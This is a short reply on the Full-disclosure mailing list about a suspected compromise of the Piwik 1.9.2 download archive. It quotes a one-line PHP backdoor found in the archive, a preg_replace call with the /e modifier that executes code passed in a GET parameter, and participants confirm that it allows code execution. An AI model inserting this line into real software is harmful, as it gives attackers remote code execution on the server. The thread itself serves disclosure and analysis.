Re: [Full-disclosure] Possible infection of Piwik 1.9.2 download archive

[Max Grobecker <max@xxxxxxxxxxxxxxxxx>]

Yep, found later that the /e modifier allows you to execute code ;-)


Am 27.11.2012 12:54, schrieb Christian Sciberras:
>> At the moment I'm trying to figure out the further sense of this code,
>> but it seems that there might also be some kind of backdoor (because of
>> the use of $_GET).
> 
> 
> preg_replace("/(.+)/e", $_GET['g'], 'dwm');
> 
> You think?
> 
> 
> Chris.
> 
> 
> On Mon, Nov 26, 2012 at 9:17 PM, Maximilian Grobecker
> <max@xxxxxxxxxxxxxxxxx <mailto:max@xxxxxxxxxxxxxxxxx>> wrote:
> 
>     preg_replace("/(.+)/e", $_GET['g'], 'dwm');
> 
> 

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